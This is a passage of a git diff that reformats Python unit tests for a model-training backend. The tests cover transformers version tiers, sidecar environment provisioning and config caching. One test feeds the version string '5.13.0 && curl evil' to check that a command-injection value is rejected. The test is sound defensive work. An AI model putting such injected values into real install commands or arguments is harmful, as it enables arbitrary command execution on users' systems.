TrainingBackend() - b._last_full_config = {"model_name": "org/model", "disable_xet": False, "hf_token": "tok"} + b._last_full_config = { + "model_name": "org/model", + "disable_xet": False, + "hf_token": "tok", + } b._in_model_load = True b._xet_fallback_used = False proc = _FakeProc() @@ -163,7 +167,9 @@ def test_respawn_uses_disable_xet_and_preserves_run_row(monkeypatch): b, "_ensure_db_run_created", lambda: created.__setitem__("n", created["n"] + 1) ) monkeypatch.setattr( - b, "_finalize_run_in_db", lambda **k: finalized.__setitem__("n", finalized["n"] + 1) + b, + "_finalize_run_in_db", + lambda **k: finalized.__setitem__("n", finalized["n"] + 1), ) b._respawn_worker_disable_xet() @@ -173,7 +179,9 @@ def test_respawn_uses_disable_xet_and_preserves_run_row(monkeypatch): assert cfg["disable_xet"] is True, "respawned worker must run with Xet disabled" assert cfg["model_name"] == "org/model" assert created["n"] == 0, "respawn must not recreate the DB run row" - assert finalized["n"] == 0, "a successful respawn must not finalize the run as error" + assert ( + finalized["n"] == 0 + ), "a successful respawn must not finalize the run as error" def test_second_stall_surfaces_error_without_respawn(): diff --git a/studio/backend/tests/test_transformers_latest.py b/studio/backend/tests/test_transformers_latest.py index af48d674cc..7c6f6a010b 100644 --- a/studio/backend/tests/test_transformers_latest.py +++ b/studio/backend/tests/test_transformers_latest.py @@ -114,7 +114,9 @@ def _fake_urlopen_factory(counter: dict): def _isolated_caches(tmp_path: Path, monkeypatch): """Fresh in-memory + on-disk caches per test; no accidental real studio_root writes.""" tl.clear_caches() - monkeypatch.setattr(tl, "_cache_file", lambda: tmp_path / "transformers_latest_check.json") + monkeypatch.setattr( + tl, "_cache_file", lambda: tmp_path / "transformers_latest_check.json" + ) # The sidecar swap reservation writes a lock file next to the venv dir; # point it at tmp so tests never touch the real studio root. monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest")) @@ -232,7 +234,10 @@ class TestLatestTransformersSupports: def test_unknown_everywhere(self, monkeypatch): monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({})) result = latest_transformers_supports("no_such_arch") - assert result["supported_in_pypi"] is False and result["supported_in_main"] is False + assert ( + result["supported_in_pypi"] is False + and result["supported_in_main"] is False + ) def test_network_failure_returns_none(self, monkeypatch): _no_network(monkeypatch, exc = OSError("down")) @@ -272,7 +277,9 @@ class TestLatestTransformersSupports: counter = {} monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter)) latest_transformers_supports("brandnew_arch") - stale = dict(tl._memory_snapshot, fetched_at = time.time() - tl._CACHE_TTL_SECONDS - 1) + stale = dict( + tl._memory_snapshot, fetched_at = time.time() - tl._CACHE_TTL_SECONDS - 1 + ) tl.clear_caches() tl._save_snapshot_file(stale) first_total = counter["__total__"] @@ -342,7 +349,9 @@ class TestCheckUpgradeForModel: _fake_overlays(monkeypatch) monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({})) result = check_upgrade_for_model(_local_model(tmp_path, "dev_only_arch")) - assert result["supported_in_pypi"] is False and result["supported_in_main"] is True + assert ( + result["supported_in_pypi"] is False and result["supported_in_main"] is True + ) def test_unknown_everywhere_falls_through(self, tmp_path: Path, monkeypatch): _fake_overlays(monkeypatch) @@ -404,13 +413,17 @@ class TestCheckUpgradeForModel: monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({})) d = tmp_path / "nested" d.mkdir() - (d / "config.json").write_text(json.dumps({"text_config": {"model_type": "brandnew_arch"}})) + (d / "config.json").write_text( + json.dumps({"text_config": {"model_type": "brandnew_arch"}}) + ) result = check_upgrade_for_model(str(d)) assert result is not None and result["model_type"] == "brandnew_arch" def test_never_raises_on_internal_error(self, monkeypatch): monkeypatch.setattr( - tl, "_load_config_json", lambda *a, **k: (_ for _ in ()).throw(RuntimeError("boom")) + tl, + "_load_config_json", + lambda *a, **k: (_ for _ in ()).throw(RuntimeError("boom")), ) assert check_upgrade_for_model("some/model") is None @@ -432,7 +445,9 @@ class TestNestedModelTypeExtraction: class TestRoutingParity: - def test_all_overlay_types_route_identically_and_never_check(self, tmp_path: Path, monkeypatch): + def test_all_overlay_types_route_identically_and_never_check( + self, tmp_path: Path, monkeypatch + ): _fake_overlays(monkeypatch) calls = _no_network(monkeypatch) expected_tier = { @@ -450,7 +465,9 @@ class TestRoutingParity: assert check_upgrade_for_model(_local_model(tmp_path, model_type)) is None assert calls["n"] == 0 - def test_real_installed_mappings_route_without_checker(self, monkeypatch, tmp_path: Path): + def test_real_installed_mappings_route_without_checker( + self, monkeypatch, tmp_path: Path + ): """Parity over the REAL installed overlays (base + any provisioned sidecar): every shipped model_type resolves statically, so the remote checker never fires and routing is byte-identical with the feature enabled.""" @@ -493,7 +510,9 @@ class TestLatestVenvProvisioning: assert pkgs[0] == "transformers==5.13.0" assert any(p.startswith("huggingface_hub==") for p in pkgs) - def test_ensure_latest_writes_pin_and_invalidates_cache(self, tmp_path: Path, monkeypatch): + def test_ensure_latest_writes_pin_and_invalidates_cache( + self, tmp_path: Path, monkeypatch + ): venv_dir = tmp_path / ".venv_t5_latest" monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir)) recorded = {} @@ -515,7 +534,9 @@ class TestLatestVenvProvisioning: assert latest_venv_pinned_version() == "5.13.0" assert "latest" not in _config_mapping_cache - def test_ensure_latest_upgrade_failure_keeps_old_sidecar(self, tmp_path: Path, monkeypatch): + def test_ensure_latest_upgrade_failure_keeps_old_sidecar( + self, tmp_path: Path, monkeypatch + ): venv_dir = tmp_path / ".venv_t5_latest" monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir)) venv_dir.mkdir(parents = True) @@ -532,7 +553,9 @@ class TestLatestVenvProvisioning: assert not Path(str(venv_dir) + ".staging").exists() def test_ensure_latest_rejects_bad_version(self, tmp_path: Path, monkeypatch): - monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest")) + monkeypatch.setattr( + tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest") + ) monkeypatch.setattr( tv, "_ensure_venv_dir", @@ -541,7 +564,9 @@ class TestLatestVenvProvisioning: assert ensure_latest_transformers_venv("5.13.0 && curl evil") is False def test_ensure_latest_offline_refuses(self, tmp_path: Path, monkeypatch): - monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest")) + monkeypatch.setattr( + tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest") + ) monkeypatch.setenv("HF_HUB_OFFLINE", "1") monkeypatch.setattr( tv, @@ -551,7 +576,9 @@ class TestLatestVenvProvisioning: assert ensure_latest_transformers_venv("5.13.0") is False def test_unpinned_sidecar_never_installs(self, tmp_path: Path, monkeypatch): - monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest")) + monkeypatch.setattr( + tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest") + ) monkeypatch.setattr( tv, "_ensure_venv_dir", @@ -559,7 +586,9 @@ class TestLatestVenvProvisioning: ) assert tv._ensure_venv_t5_latest_exists() is False - def test_pinned_sidecar_repairs_with_same_version(self, tmp_path: Path, monkeypatch): + def test_pinned_sidecar_repairs_with_same_version( + self, tmp_path: Path, monkeypatch + ): venv_dir = tmp_path / ".venv_t5_latest" venv_dir.mkdir() (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0") @@ -603,8 +632,12 @@ class TestLatestTierRouting: (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0") assert tv._overlay_transformers_dir("latest") == str(venv_dir / "transformers") - def test_probe_order_excludes_unprovisioned_latest(self, tmp_path: Path, monkeypatch): - monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest")) + def test_probe_order_excludes_unprovisioned_latest( + self, tmp_path: Path, monkeypatch + ): + monkeypatch.setattr( + tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest") + ) assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER def test_probe_order_includes_provisioned_latest(self, tmp_path: Path, monkeypatch): @@ -635,7 +668,9 @@ class TestLatestTierRouting: os.environ["PYTHONPATH"] = old_pp def test_activation_raises_when_latest_missing(self, tmp_path: Path, monkeypatch): - monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest")) + monkeypatch.setattr( + tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest") + ) monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest") with pytest.raises(RuntimeError, match = "venv_t5_latest"): activate_transformers_for_subprocess("some/brand-new-model") @@ -669,7 +704,9 @@ class TestInstallLatestTransformers: monkeypatch.setattr( tl, "ensure_latest_transformers_venv", - lambda v, extra_packages = (): (_ for _ in ()).throw(AssertionError("must not install")), + lambda v, extra_packages = (): (_ for _ in ()).throw( + AssertionError("must not install") + ), ) result = install_latest_transformers("4.99.0") assert result["success"] is False and "not the latest" in result["message"] @@ -703,7 +740,9 @@ class TestInstallLatestTransformers: monkeypatch.setattr( tl, "ensure_latest_transformers_venv", - lambda v, extra_packages = (): (_ for _ in ()).throw(AssertionError("must not install")), + lambda v, extra_packages = (): (_ for _ in ()).throw( + AssertionError("must not install") + ), ) result = install_latest_transformers("5.13.0") assert result["success"] is False and "numpy>=99.0" in result["message"] @@ -772,12 +811,16 @@ class TestCompatPlan: assert extras == () and blockers == [] def test_sidecar_provided_hub_checked_against_recipe_pin(self, monkeypatch): - self._patch_env(monkeypatch, ["huggingface-hub<2.0,>=1.5.0"], {"huggingface-hub": "0.36.2"}) + self._patch_env( + monkeypatch, ["huggingface-hub<2.0,>=1.5.0"], {"huggingface-hub": "0.36.2"} + ) extras, blockers = tl.compat_plan("5.13.0") assert extras == () and blockers == [] # 1.8.0 sidecar pin satisfies it def test_sidecar_provided_hub_out_of_range_blocks(self, monkeypatch): - self._patch_env(monkeypatch, ["huggingface-hub>=2.1"], {"huggingface-hub": "0.36.2"}) + self._patch_env( + monkeypatch, ["huggingface-hub>=2.1"], {"huggingface-hub": "0.36.2"} + ) extras, blockers = tl.compat_plan("5.99.0") assert blockers == ["huggingface-hub>=2.1"] @@ -868,7 +911,9 @@ def test_upgrade_check_ignores_nested_known_types(monkeypatch): } monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg) calls = [] - monkeypatch.setattr(tl, "latest_transformers_supports", lambda mt: calls.append(mt) or None) + monkeypatch.setattr( + tl, "latest_transformers_supports", lambda mt: calls.append(mt) or None + ) assert tl.check_upgrade_for_model("some-org/normal-vlm") is None assert calls == [] @@ -934,7 +979,9 @@ def test_install_success_invalidates_capability_caches(monkeypatch): monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({})) monkeypatch.setattr(tl, "compat_plan", lambda v: ((), [])) monkeypatch.setattr( - tl, "ensure_latest_transformers_venv", lambda v, extra_packages = (), before_swap = None: True + tl, + "ensure_latest_transformers_venv", + lambda v, extra_packages = (), before_swap = None: True, ) monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0") diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py index a6e6803a5c..9ecc13c2f3 100644 --- a/studio/backend/tests/test_transformers_version.py +++ b/studio/backend/tests/test_transformers_version.py @@ -179,7 +179,8 @@ class TestRemoteLoraBase: cfg = {"base_model_name_or_path": "nvidia/NVIDIA-Nemotron-3-Nano-4B"} with patch("urllib.request.urlopen", return_value = self._resp(cfg)): assert ( - _remote_lora_base("someuser/my-nemotron-lora") == "nvidia/NVIDIA-Nemotron-3-Nano-4B" + _remote_lora_base("someuser/my-nemotron-lora") + == "nvidia/NVIDIA-Nemotron-3-Nano-4B" ) def test_local_or_noncanonical_returns_none(self): @@ -198,7 +199,9 @@ class TestRemoteLoraBase: with patch("urllib.request.urlopen", side_effect = fake_urlopen): assert _remote_lora_base("user/adapter") == "org/base" - assert seen["url"].startswith("https://hf.mirror.internal/user/adapter/raw/main/") + assert seen["url"].startswith( + "https://hf.mirror.internal/user/adapter/raw/main/" + ) @staticmethod def _seed_adapter_cache( @@ -210,7 +213,9 @@ class TestRemoteLoraBase: repo = hub / ("models--" + repo_id.replace("/", "--")) snap = repo / "snapshots" / commit snap.mkdir(parents = True) - (snap / "adapter_config.json").write_text(json.dumps({"base_model_name_or_path": base})) + (snap / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": base}) + ) (repo / "refs").mkdir(parents = True) (repo / "refs" / "main").write_text(commit) @@ -263,7 +268,9 @@ class TestRemoteLoraBase: with patch("urllib.request.urlopen", side_effect = err): assert _remote_lora_base("user/was-a-lora") is None - def test_transient_http_error_falls_back_to_cache(self, tmp_path: Path, monkeypatch): + def test_transient_http_error_falls_back_to_cache( + self, tmp_path: Path, monkeypatch + ): import urllib.error self._seed_adapter_cache(tmp_path, "user/cached-lora", "nvidia/Nemotron-H-8B") @@ -351,9 +358,13 @@ class TestCheckTokenizerConfigNeedsV5: monkeypatch.setattr("urllib.request.urlopen", fake_urlopen) assert _check_tokenizer_config_needs_v5("org/gated") is False # unauth miss - assert _check_tokenizer_config_needs_v5("org/gated", "tok") is True # authed hit + assert ( + _check_tokenizer_config_needs_v5("org/gated", "tok") is True + ) # authed hit assert seen_auth == [None, "Bearer tok"] - assert _tokenizer_class_cache[("org/gated", None)] is False # miss not poisoning + assert ( + _tokenizer_class_cache[("org/gated", None)] is False + ) # miss not poisoning # --------------------------------------------------------------------------- @@ -605,7 +616,10 @@ class TestNemotronHNeedsMlpSupport: # VL wrapper (e.g. NemotronH_Nano_VL_V2): dense LM is under llm_config. cfg = { "model_type": "NemotronH_Nano_VL_V2", - "llm_config": {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}, + "llm_config": { + "model_type": "nemotron_h", + "hybrid_override_pattern": "M-M*-", + }, } assert _nemotron_h_needs_mlp_support(cfg) is True assert _config_needs_510(cfg) is True @@ -613,7 +627,10 @@ class TestNemotronHNeedsMlpSupport: def test_nested_text_config_with_mlp(self): cfg = { "model_type": "wrapper", - "text_config": {"model_type": "nemotron_h", "layers_block_type": ["mamba", "mlp"]}, + "text_config": { + "model_type": "nemotron_h", + "layers_block_type": ["mamba", "mlp"], + }, } assert _nemotron_h_needs_mlp_support(cfg) is True @@ -623,7 +640,10 @@ class TestNemotronHNeedsMlpSupport: def test_non_dict_and_missing_nested_do_not_raise(self): assert _nemotron_h_needs_mlp_support(None) is False - assert _nemotron_h_needs_mlp_support({"model_type": "wrapper", "llm_config": None}) is False + assert ( + _nemotron_h_needs_mlp_support({"model_type": "wrapper", "llm_config": None}) + is False + ) def _hf_response(cfg: dict): @@ -679,7 +699,9 @@ class TestConfigJsonHfCacheFallback: monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) with patch("urllib.request.urlopen", return_value = _hf_response(fresh)): - assert _load_config_json("org/model") == fresh # network wins, not stale cache + assert ( + _load_config_json("org/model") == fresh + ) # network wins, not stale cache def test_network_failure_falls_back_to_cache(self, tmp_path: Path, monkeypatch): cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} @@ -716,7 +738,9 @@ class TestConfigJsonHfCacheFallback: monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) assert _config_json_from_hf_cache("org/model") == {"model_type": "fresh"} - def test_transient_failure_does_not_cache_fallback(self, tmp_path: Path, monkeypatch): + def test_transient_failure_does_not_cache_fallback( + self, tmp_path: Path, monkeypatch + ): stale = {"model_type": "nemotron_h", "hybrid_override_pattern": "MMMM"} fresh = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"} self._seed_cache(tmp_path, "org/model", stale) @@ -779,9 +803,13 @@ class TestTierCheckTransientRetry: (repo / "refs").mkdir(parents = True) (repo / "refs" / "main").write_text(commit) - def test_transient_fallback_not_memoized_then_retries(self, tmp_path: Path, monkeypatch): + def test_transient_fallback_not_memoized_then_retries( + self, tmp_path: Path, monkeypatch + ): stale = {"model_type": "llama"} # does not need 510 - fresh = {"architectures": ["Gemma4UnifiedForConditionalGeneration"]} # needs 510 + fresh = { + "architectures": ["Gemma4UnifiedForConditionalGeneration"] + } # needs 510 self._seed_cache(tmp_path, "org/model", stale) monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) @@ -792,13 +820,17 @@ class TestTierCheckTransientRetry: # Connectivity returns: the next call re-fetches and sees the higher tier. with patch("urllib.request.urlopen", return_value = _hf_response(fresh)): assert _check_config_needs_510("org/model") is True - assert _config_needs_510_cache[("org/model", None)] is True # definitive read memoized + assert ( + _config_needs_510_cache[("org/model", None)] is True + ) # definitive read memoized def test_definitive_network_read_is_memoized(self, tmp_path: Path, monkeypatch): fresh = {"architectures": ["Gemma4ForConditionalGeneration"]} # needs 550 monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) - with patch("urllib.request.urlopen", return_value = _hf_response(fresh)) as mock_url: + with patch( + "urllib.request.urlopen", return_value = _hf_response(fresh) + ) as mock_url: assert _check_config_needs_550("org/model") is True assert _check_config_needs_550("org/model") is True assert mock_url.call_count == 1 # second call served from the tier cache @@ -972,7 +1004,9 @@ class TestGetTransformersTier: return_value = False, ), ): - assert get_transformers_tier("mistralai/Ministral-3-8B-Instruct-2512") == "530" + assert ( + get_transformers_tier("mistralai/Ministral-3-8B-Instruct-2512") == "530" + ) def test_llama_returns_default(self): with ( @@ -1036,12 +1070,17 @@ class TestGetTransformersTier: assert "default" in text, f"tier selection not logged: {text!r}" def test_local_config_json_selection_is_logged(self, tmp_path: Path, caplog): - cfg = {"architectures": ["Gemma4ForConditionalGeneration"], "model_type": "gemma4"} + cfg = { + "architectures": ["Gemma4ForConditionalGeneration"], + "model_type": "gemma4", + } (tmp_path / "config.json").write_text(json.dumps(cfg)) caplog.set_level(logging.INFO) assert get_transformers_tier(str(tmp_path)) == "550" text = " ".join(r.getMessage() for r in caplog.records).lower() - assert "550" in text and "local config.json" in text, f"local tier not logged: {text!r}" + assert ( + "550" in text and "local config.json" in text + ), f"local tier not logged: {text!r}" def test_needs_transformers_5_compat(self): """needs_transformers_5 should return True for 510, 530, and 550 models.""" @@ -1147,7 +1186,9 @@ class TestProbeTier: monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False) for fn in ("_ensure_venv_t5_530_exists", "_ensure_venv_t5_550_exists"): monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True) - monkeypatch.setattr("utils.transformers_version._ensure_venv_t5_510_exists", lambda: False) + monkeypatch.setattr( + "utils.transformers_version._ensure_venv_t5_510_exists", lambda: False + ) monkeypatch.setattr( "utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(1, "KeyError: '-'"), @@ -1159,16 +1200,22 @@ class TestProbeTier: # 530 sidecar unavailable but 550 parses: return 550 (best effort now) but do NOT # cache it, since once 530 is installed it may be the lowest valid tier. monkeypatch.delenv("UNSLOTH_DISABLE_TIER_PROBE", raising = False) - monkeypatch.setattr("utils.transformers_version._ensure_venv_t5_530_exists", lambda: False) + monkeypatch.setattr( + "utils.transformers_version._ensure_venv_t5_530_exists", lambda: False + ) for fn in ("_ensure_venv_t5_550_exists", "_ensure_venv_t5_510_exists"): monkeypatch.setattr(f"utils.transformers_version.{fn}", lambda: True) - monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0) + ) assert _probe_tier("org/m", None, "x") == "550" assert "org/m" not in _probe_tier_cache # skipped a lower tier -> not pinned def test_cache_hit_skips_subprocess(self, monkeypatch): self._patch_common(monkeypatch) - monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0) + ) assert _probe_tier("org/m", None, "x") == "530" def boom(cmd, **k): @@ -1217,7 +1264,9 @@ class TestProbeTier: # The probe must not import huggingface_hub: that would land before the sidecar is on # sys.path (activation never purges), pinning the default-env hub. So no in-process sha. self._patch_common(monkeypatch) - monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0) + ) sys.modules.pop("huggingface_hub", None) _probe_tier("org/m", None, "x") assert "huggingface_hub" not in sys.modules @@ -1234,15 +1283,20 @@ class TestProbeTier: def test_get_tier_uses_probe_for_remote_tokenizer_signal(self, monkeypatch): # tokenizer says 5.x but no architecture/substring match -> probe (not a 530 guess). monkeypatch.setattr( - "utils.transformers_version._check_config_needs_510", lambda m, t = None: False + "utils.transformers_version._check_config_needs_510", + lambda m, t = None: False, ) monkeypatch.setattr( - "utils.transformers_version._check_config_needs_550", lambda m, t = None: False + "utils.transformers_version._check_config_needs_550", + lambda m, t = None: False, ) monkeypatch.setattr( - "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: True + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: True, + ) + monkeypatch.setattr( + "utils.transformers_version._probe_tier", lambda m, t, reason: "510" ) - monkeypatch.setattr("utils.transformers_version._probe_tier", lambda m, t, reason: "510") assert get_transformers_tier("org/unknown-5x-arch") == "510" def test_stderr_is_transient(self): @@ -1272,13 +1326,20 @@ class TestProbeTier: lambda m, t, reason: seen.update({"probe": t}) or "510", ) assert get_transformers_tier("org/gated-5x", "hf_abc") == "510" - assert seen == {"510": "hf_abc", "550": "hf_abc", "tok": "hf_abc", "probe": "hf_abc"} + assert seen == { + "510": "hf_abc", + "550": "hf_abc", + "tok": "hf_abc", + "probe": "hf_abc", + } def test_activate_threads_token_to_tier(self, monkeypatch): # activate_transformers_for_subprocess must forward hf_token to tier detection, or # the gated-model checks above run unauthenticated and the fix is unreachable. seen = {} - monkeypatch.setattr("utils.transformers_version._resolve_base_model", lambda m: m) + monkeypatch.setattr( + "utils.transformers_version._resolve_base_model", lambda m: m + ) monkeypatch.setattr( "utils.transformers_version.get_transformers_tier", lambda m, t = None: seen.update({"model": m, "token": t}) or "default", @@ -1345,13 +1406,16 @@ class TestProbeGating: def _patch_checks_to_tokenizer(self, monkeypatch): monkeypatch.setattr( - "utils.transformers_version._check_config_needs_510", lambda m, t = None: False + "utils.transformers_version._check_config_needs_510", + lambda m, t = None: False, ) monkeypatch.setattr( - "utils.transformers_version._check_config_needs_550", lambda m, t = None: False + "utils.transformers_version._check_config_needs_550", + lambda m, t = None: False, ) monkeypatch.setattr( - "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: True + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: True, ) # ---- needs_transformers_5 / probe=False must not spawn probes -------------- @@ -1380,7 +1444,8 @@ class TestProbeGating: def test_version_field_probe_stays_default_when_default_parses(self, monkeypatch): self._patch_venvs(monkeypatch) monkeypatch.setattr( - "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: False, ) _config_json_cache[("org/new", None)] = { "model_type": "brandnew", @@ -1392,14 +1457,17 @@ class TestProbeGating: lambda cmd, **k: seen.append(cmd[3]) or _proc(0), ) assert get_transformers_tier("org/new") == "default" - assert seen == [""] # probed the ambient default tier first, it parsed -> stayed default + assert seen == [ + "" + ] # probed the ambient default tier first, it parsed -> stayed default def test_version_field_probe_escalates_when_default_fails(self, monkeypatch): import utils.transformers_version as tv self._patch_venvs(monkeypatch) monkeypatch.setattr( - "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: False, ) _config_json_cache[("org/new", None)] = { "model_type": "brandnew", @@ -1417,7 +1485,8 @@ class TestProbeGating: def test_ordinary_4x_config_does_not_probe(self, monkeypatch): self._patch_venvs(monkeypatch) monkeypatch.setattr( - "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: False, ) _config_json_cache[("org/llama", None)] = { "model_type": "llama", @@ -1434,13 +1503,16 @@ class TestProbeGating: # A 5.x-saved standard-tokenizer model must report as 5.x (for vision routing) # without spawning a probe. monkeypatch.setattr( - "utils.transformers_version._check_config_needs_510", lambda m, t = None: False + "utils.transformers_version._check_config_needs_510", + lambda m, t = None: False, ) monkeypatch.setattr( - "utils.transformers_version._check_config_needs_550", lambda m, t = None: False + "utils.transformers_version._check_config_needs_550", + lambda m, t = None: False, ) monkeypatch.setattr( - "utils.transformers_version._check_tokenizer_config_needs_v5", lambda m, t = None: False + "utils.transformers_version._check_tokenizer_config_needs_v5", + lambda m, t = None: False, ) _config_json_cache[("org/new", None)] = { "model_type": "brandnew", @@ -1453,7 +1525,9 @@ class TestProbeGating: monkeypatch.setattr("utils.transformers_version.subprocess.run", boom) assert needs_transformers_5("org/new") is True - def test_default_first_result_not_reused_for_tokenizer_path(self, monkeypatch, tmp_path): + def test_default_first_result_not_reused_for_tokenizer_path( + self, monkeypatch, tmp_path + ): # A default-first probe can cache "default"; a later tokenizer/known-5.x call # (floor=530) must re-probe, not reuse that "default". self._patch_venvs(monkeypatch) @@ -1461,9 +1535,12 @@ class TestProbeGating: json.dumps({"model_type": "brandnew", "transformers_version": "5.0.0"}) ) local = str(tmp_path) - monkeypatch.setattr("utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0)) + monkeypatch.setattr( + "utils.transformers_version.subprocess.run", lambda cmd, **k: _proc(0) + ) assert ( - _probe_tier(local, None, "version", include_default = True, floor = "default") == "default" + _probe_tier(local, None, "version", include_default = True, floor = "default") + == "default" ) seen = [] monkeypatch.setattr( @@ -1472,7 +1549,9 @@ class TestProbeGating: ) # Tokenizer/known-5.x mode (floor=530): must re-probe and never reuse "default". assert _probe_tier(local, None, "tokenizer needs 5.x") == "530" - assert seen, "tokenizer path reused the cached default result instead of re-probing" + assert ( + seen + ), "tokenizer path reused the cached default result instead of re-probing" class TestLocalCheckpointFilesAppear: @@ -1484,7 +1563,9 @@ class TestLocalCheckpointFilesAppear: _tokenizer_class_cache.clear() _config_json_cache.clear() - def test_tokenizer_config_appearing_later_is_read(self, tmp_path: Path, monkeypatch): + def test_tokenizer_config_appearing_later_is_read( + self, tmp_path: Path, monkeypatch + ): local = str(tmp_path) def boom(*a, **k): @@ -1589,7 +1670,9 @@ class TestActivateLoggingClarity: "sys.path" in text or "path only" in text ), f"early activation log does not clarify it is path-prepend only: {text!r}" - def test_activate_prefers_local_checkpoint_tier_over_resolved_base(self, caplog, tmp_path): + def test_activate_prefers_local_checkpoint_tier_over_resolved_base( + self, caplog, tmp_path + ): # Base resolves to an offline/private id (default tier); the local config.json wins. (tmp_path / "config.json").write_text(json.dumps({"model_type": "llama"})) local = str(tmp_path) @@ -1618,7 +1701,9 @@ class TestActivateLoggingClarity: text = " ".join(r.getMessage() for r in caplog.records).lower() assert "5.10.2" in text, f"local checkpoint tier did not win: {text!r}" - def test_activate_adapter_without_config_skips_path_name_recheck(self, caplog, tmp_path): + def test_activate_adapter_without_config_skips_path_name_recheck( + self, caplog, tmp_path + ): # LoRA adapter in a dir named 'gemma-4' (base resolves elsewhere): the resolved # base drives the tier; the path name must not re-check or upgrade it. adapter = tmp_path / "gemma-4-experiment" / "llama-lora" @@ -1650,7 +1735,9 @@ class TestActivateLoggingClarity: finally: self._restore_env(snap) - assert seen == ["meta/llama"], f"adapter path was re-checked via substrings: {seen!r}" + assert seen == [ + "meta/llama" + ], f"adapter path was re-checked via substrings: {seen!r}" text = " ".join(r.getMessage() for r in caplog.records).lower() assert "default transformers" in text, f"adapter wrongly upgraded: {text!r}" @@ -1832,7 +1919,10 @@ class TestLocalConfig530Tier: assert _config_needs_530({"model_type": "qwen3_5"}) is True def test_config_needs_530_qwen3_5_conditional_generation(self): - assert _config_needs_530({"architectures": ["Qwen3_5ForConditionalGeneration"]}) is True + assert ( + _config_needs_530({"architectures": ["Qwen3_5ForConditionalGeneration"]}) + is True + ) def test_config_needs_530_qwen3_moe(self): assert _config_needs_530({"model_type": "qwen3_moe"}) is True @@ -1884,7 +1974,9 @@ class TestLocalConfig530Tier: d = tmp_path / "my-qwen3-moe" d.mkdir() (d / "config.json").write_text( - json.dumps({"model_type": "qwen3_moe", "architectures": ["Qwen3MoeForCausalLM"]}) + json.dumps( + {"model_type": "qwen3_moe", "architectures": ["Qwen3MoeForCausalLM"]} + ) ) assert get_transformers_tier(str(d)) == "530" @@ -1893,7 +1985,12 @@ class TestLocalConfig530Tier: d = tmp_path / "my-glm-model" d.mkdir() (d / "config.json").write_text( - json.dumps({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}) + json.dumps( + { + "model_type": "glm4_moe_lite", + "architectures": ["Glm4MoeLiteForCausalLM"], + } + ) ) assert get_transformers_tier(str(d)) == "530" @@ -1903,7 +2000,10 @@ class TestLocalConfig530Tier: d.mkdir() (d / "config.json").write_text( json.dumps( - {"model_type": "lfm2_vl", "architectures": ["Lfm2VlForConditionalGeneration"]} + { + "model_type": "lfm2_vl", + "architectures": ["Lfm2VlForConditionalGeneration"], + } ) ) assert get_transformers_tier(str(d)) == "530" @@ -1930,7 +2030,10 @@ class TestLocalConfig530Tier: d.mkdir() (d / "config.json").write_text( json.dumps( - {"model_type": "qwen3_5", "architectures": 